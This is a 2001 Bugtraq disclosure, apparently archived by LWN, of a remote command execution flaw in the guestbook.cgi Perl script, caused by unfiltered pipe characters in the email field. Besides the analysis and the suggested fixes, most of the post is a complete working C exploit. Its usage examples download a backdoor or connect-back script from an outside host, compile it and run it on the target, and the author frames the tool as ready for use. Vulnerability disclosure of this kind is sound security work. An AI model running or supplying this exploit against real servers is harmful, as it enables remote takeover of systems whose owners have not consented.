[LWN Logo]
[Timeline]
Date:         Mon, 29 Jan 2001 03:24:55 -0500
From: fish stiqz <fish@ANALOG.ORG>
Subject:      Remote Command Execution in guestserver.cgi + exploit
To: BUGTRAQ@SECURITYFOCUS.COM

*** Remote Command execution vulnerability in Lars Ellingsen's
*** guestserver.cgi found at http://www.guestserver.com/
*** Exploit code at bottom.
*** by: fish stiqz <fish@analog.org>


_____________________________________________________________________
Overview:

From http://www.stud.ntnu.no/~larsell/guestbook/:

> Guestserver is a guestbook system that enables you to have your
> own guestbook on your homepage, without having all the scripts
> and data located on a completely different server.

The maintainer was sent a few emails about this when I first discovered
this bug but did not respond.  From the dates on the webpage, I believe
that this program has been abandoned.  It would be wise for websites that
use it to just stop using it altogether.

guestbook.cgi is vulnerable to a remote command execution bug.  This bug
is caused by an incomplete filter of the email variable from the http
POST. The email variable is first filtered for HTML tags then commas,
semi-colons, and colons as seen below:

line 282:
	$FORM{'email'} =~ s/\<[^\>]*\>//ig;
	$FORM{'email'} =~ s/\<//g;
	$FORM{'email'} =~ s/\>//g;
	$FORM{'email'} =~ s/\"/_/g;

	if ($FORM{'email'} !~ /^[^\@]*[\@][^\@]*?\.[^\@]*$/g) {
		$FORM{'email'} = undef;
	}

line 360:
	&mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~ /[\,\:\;]/));


Also, the email must be in "normal" form as required below (and above).

line 957:
	if ($FORM{'email'} =~ /.*?\@.*?\..*?/) {
	    open (MAIL, "|$mailprogram $FORM{'email'}");


_____________________________________________________________________
Limitations:

First, the vulnerable open call is not made unless the guestserver.cgi is
configured to mail the guest when he/she posts to the guestbook.

The server must have these lines in the guestbook.config file:
	<-guestbook.mailto_guest->               # Yes = 1, No = 0
	1

Next, the email variable is unset if there is a colon in it, so we cannot
simply send ourselves an xterm since the display string needs to contain
a colon. (ie: "xterm -ut -display 127.0.0.1:0.0")

We must also keep the email variable in "normal" email form.
So how do we exploit this?


_____________________________________________________________________
Exploit:

The | (pipe) character is not filtered!  So we can construct an email
variable with commands delimited by |'s and the cgi will happily execute
these commands if it looks like a "normal" email address.  An example
email variable that would execute "bleh" on remote server (check
error_log):  "| bleh | bob@hax0r.com".  This would result in the
execution of "/bin/sh -c <mail program> | bleh | bob@hax0r.com"
on the remote server.  If you look in apache's error_log you will see
the following entry:

	sh: bleh: command not found
	sh: bob@hax0r.com: command not found

An attacker can use this to his/her advantage to possibly get a backdoor
and run it on the server, thus gaining remote access to the server running
the cgi script.

* Exploit code is at the bottom.


_____________________________________________________________________
Solutions:

1) Quick and Dirty:
	Disallow emailing the guest by setting the <-guestbook.mailto_guest->
	directive to 0 in guestbook.config.

2) Better:
	Completely filter all control characters from the email variable
	before the open call.


_____________________________________________________________________
The Code:

/*
 * guestrook.c - fish stiqz <fish@analog.org>  11/18/2001.
 *
 * - rook:v: deprive of by deceit; "He swindled me out of my inheritance"
 *
 * Remote exploit for guestbook.cgi version 4.12 (below?).
 * guestbook.cgi can be found at http://www.guestserver.com/
 *
 * exploits a traditional open call in a perl cgi script,
 *   open (MAIL, "|$mailprogram $FORM{'email'}");
 * the address is filtered for semi-colons, colons, commas, and less-than
 * and greater than signs, and must be in *@*.* form.
 *
 * The cgi must be configured to send mail to the guest.
 * the line in guestbook.config must be:
 *   <-guestbook.mailto_guest->               # Yes = 1, No = 0
 *   1
 * This config looks to be pretty common.
 *
 * Because the host environment must already have a perl interpreter
 * installed, using a perl backdoor would probably be the most portable
 * way to exploit this.  The example in the usage message presents another
 * way to accomplish it, with the well known socdmini.c.  The sleep
 * call is necessary to ensure that the program has finished
 * downloading before the vulnerable system attempts to compile it.
 * It may also be necessary to execute each command individually.
 * I'm sure there are a million other ways to exploit this, since you
 * can specifiy a string of commands to execute.  Use your imaginiation.
 *
 * Thats pretty much it.  Have fun.
 *
 * shoutouts: nerile <-- 1337
 *            trey, kiam, sudo, kilmor, vertigo7, quanta,
 *            #code <-- rules (not ef/dal),
 *            analog.org, async.org
 *
 * #TelcoNinjas == #smurfkiddies.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>


#define HTTP_PORT 80

extern int errno;

/*
 * function prototypes.
 */
int get_ip(struct in_addr *, char *);
int tcp_connect(char *, unsigned int);
void *Malloc(size_t);
void *Realloc(void *, size_t);
char *Strdup(char *);
void send_packet(int, char *, char *);
char *convert_command(char *);
void clear_screen(FILE *);
void usage(char *);
char *random_string(void);


/*
 * Error cheq'n wrapper for malloc.
 */
void *Malloc(size_t n)
{
    void *tmp;

    if((tmp = malloc(n)) == NULL)
    {
        fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
        exit(EXIT_FAILURE);
    }

    return tmp;
}


/*
 * Error cheq'n realloc.
 */
void *Realloc(void *ptr, size_t n)
{
    void *tmp;

    if((tmp = realloc(ptr, n)) == NULL)
    {
        fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
        exit(EXIT_FAILURE);
    }

    return tmp;
}


/*
 * Error cheq'n strdup.
 */
char *Strdup(char *str)
{
    char *s;

    if((s = strdup(str)) == NULL)
    {
        fprintf(stderr, "strdup failed! exiting...\n");
        exit(EXIT_FAILURE);
    }

    return s;
}




/*
 * translates a host from its string representation (either in numbers
 * and dots notation or hostname format) into its binary ip address
 * and stores it in the in_addr struct passed in.
 *
 * return values: 0 on success, != 0 on failure.
 */
int get_ip(struct in_addr *iaddr, char *host)
{
    struct hostent *hp;

#ifdef DEBUG
    printf("entered get_ip with %s\n", host);
#endif

    /* first check to see if its in num-dot format */
    if(inet_aton(host, iaddr) != 0)
	return 0;

#ifdef DEBUG
    printf("inet_aton failed\n");
    printf("trying gethostbyname...\n");
#endif

    /* next, do a gethostbyname */
    if((hp = gethostbyname(host)) != NULL)
    {
	if(hp->h_addr_list != NULL)
	{
	    memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
	    return 0;
	}
	return -1;
    }

    return -1;
}



/*
 * initiates a tcp connection to the specified host (either in
 * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
 * to the host's tcp port.
 *
 * return values:  != -1 on success, -1 on failure.
 */
int tcp_connect(char *host, unsigned int port)
{
    int sock;
    struct sockaddr_in saddress;
    struct in_addr *iaddr;

    iaddr = Malloc(sizeof(struct in_addr));

    /* write the hostname information into the in_addr structure */
    if(get_ip(iaddr, host) != 0)
	return -1;

#ifdef DEBUG
    printf("attempting connect to %s\n", inet_ntoa(*iaddr));
#endif

    saddress.sin_addr.s_addr = iaddr->s_addr;
    saddress.sin_family      = AF_INET;
    saddress.sin_port        = htons(port);

    /* create the socket */
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	return -1;
	
    /* make the connection */
    if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
    {
	close(sock);
	return -1;
    }

    /* everything succeeded, return the connected socket */
    return sock;
}


/*
 * generates a string of 6 random characters.
 *  - guestbook.cgi wont accept the same message twice (or so it seems),
 * so we need to randomize it a bit.
 */
char *random_string(void)
{
    int i;
    char *s = Malloc(7);

    srand(time(NULL));
    for(i = 0; i < 6; i++)
	s[i] = (rand() % (122 - 97)) + 97;

    s[i] = 0x0;
    return s;
}


/*
 * send the request to the server.
 * the remote_command needs to be coverted before sent here.
 * semi-colon's are filtered out and will not work!
 */
void send_packet(int sock, char *conv_remote_command, char *target)
{
    char *packet_buf;
    char *payload_buf;
    char *r_string;
    char header_fmt[] =
	"POST /cgi-bin/guestbook.cgi HTTP/1.0\n"
	"Connection: close\n"
	"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
	"Host: %s\n"
	"Content-type: application/x-www-form-urlencoded\n"
	"Content-length: %d\n\n%s";

    char payload_fmt[] =
	"name=%s&SIGN=Sign+it%%21&email=%%7C%s%%7Cbleh%%40bleh.com"
	"&location=Germany&message=telconinjas+suck";
	
    r_string = random_string();

    /* create space for the payload and commands */
    payload_buf = Malloc((sizeof(payload_fmt) + 1 +
			  strlen(conv_remote_command)) *
			 sizeof(char));
    sprintf(payload_buf, payload_fmt, r_string, conv_remote_command);
    free(r_string);

    /* create space for the headers, payload, and commands */
    packet_buf = Malloc((sizeof(header_fmt) + 1 + strlen(payload_buf) +
		 strlen(conv_remote_command)) * sizeof(char));
    sprintf(packet_buf, header_fmt,
	    target, strlen(payload_buf), payload_buf);

#ifdef DEBUG
    printf("\nSending data:\n%s\n", packet_buf);
#endif

    if(write(sock, packet_buf, strlen(packet_buf)) == -1)
    {
	perror("write");
	exit(EXIT_FAILURE);
    }

    close(sock);
    return;
}

	
/*
 * converts a command from "command1 arg1 arg2 | command2 arg1 arg2"
 * to "command1+arg1+arg2+%7C+command2+arg1+arg2"
 */
char *convert_command(char *input)
{
    int i;
    char *postfix;
    char *command = Strdup(input);
    char meta;

    for(i = 0; command[i] != 0x0; i++)
    {
	if(!isalnum(command[i]) && command[i] != '.' && command[i] != '-')
	{
	    if(command[i] == ' ')
		command[i] = '+';

	    else
	    {
		meta = command[i];
		
		postfix = Strdup(&(command[i]) + 1);
		command = Realloc(command, (strlen(command) + 3) *
				  sizeof(char));
		
		command[i] = 0x0;
		sprintf(&command[i], "%%%.2X", meta);
		strcat(command, postfix);
		
		free(postfix);
	    }
	}
    }


    return command;
}


/*
 * clears the screen. lame.
 */
void clear_screen(FILE *fp)
{
    fprintf(fp, "%c[H%c[2J", 0x1b, 0x1b);
    return;
}

/*
 * prints usage and then exits.
 */
void usage(char *p)
{
    clear_screen(stderr);
    fprintf(stderr,
	    "\nguestbook.cgi exploit by fish stiqz <fish@analog.org>\n"
	    "discovered and exploited on 01/18/2001\n\n"
	    "usage: %s <target> \"command1 args | command2 args\"\n\n"
	    "* commands MUST be separated by |'s\n"
	    "* commands CANNOT contain any of these chars: ;:,<>\n"
	    "* Example: %s target.com \"wget host.com/socdmini.c -P /tmp|\\\n"
	    "           |sleep 5|gcc -o /tmp/hax /tmp/socdmini.c|/tmp/hax\"\n"
	    "* you may want to separate the commands into one per request..\n"
	    "* Example: %s target.com \"wget host.com/connect-back.pl"
	    " -P /tmp\"\n"
	    "           %s target.com \"perl /tmp/connect-back.pl\"\n"
	    "* you get the idea, use your imagination.\n\n",
	    p, p, p, p);
    exit(EXIT_FAILURE);
}


int main(int argc, char **argv)
{
    char *target;
    char *commands;
    char *conv_commands;
    int sock;

    if(argc != 3)
	usage(argv[0]);

    target   = Strdup(argv[1]);
    commands = Strdup(argv[2]);

    conv_commands = convert_command(commands);
    free(commands);

#ifdef DEBUG
    printf("\nconv_commands:\n%s\n", conv_commands);
#endif

    printf("Connecting to %s...\n", target);
    if((sock = tcp_connect(target, HTTP_PORT)) == -1)
    {
	perror("tcp_connect");
	return EXIT_FAILURE;
    }
    printf("Connected, sending payload...\n");
    send_packet(sock, conv_commands, target);
    printf("Payload sent.  Go store lots of warez!#*!%%@!#\n"
	   "#TelcoNinjas == #smurfkiddies\n");

    free(conv_commands);
    free(target);

    return EXIT_SUCCESS;
}












--
+---------------------------------------------------------------------------+
|  fish stiqz <fish@analog.org>    <*)))-<     ** yum, yum, delicious **    |
+---------------------------------------------------------------------------+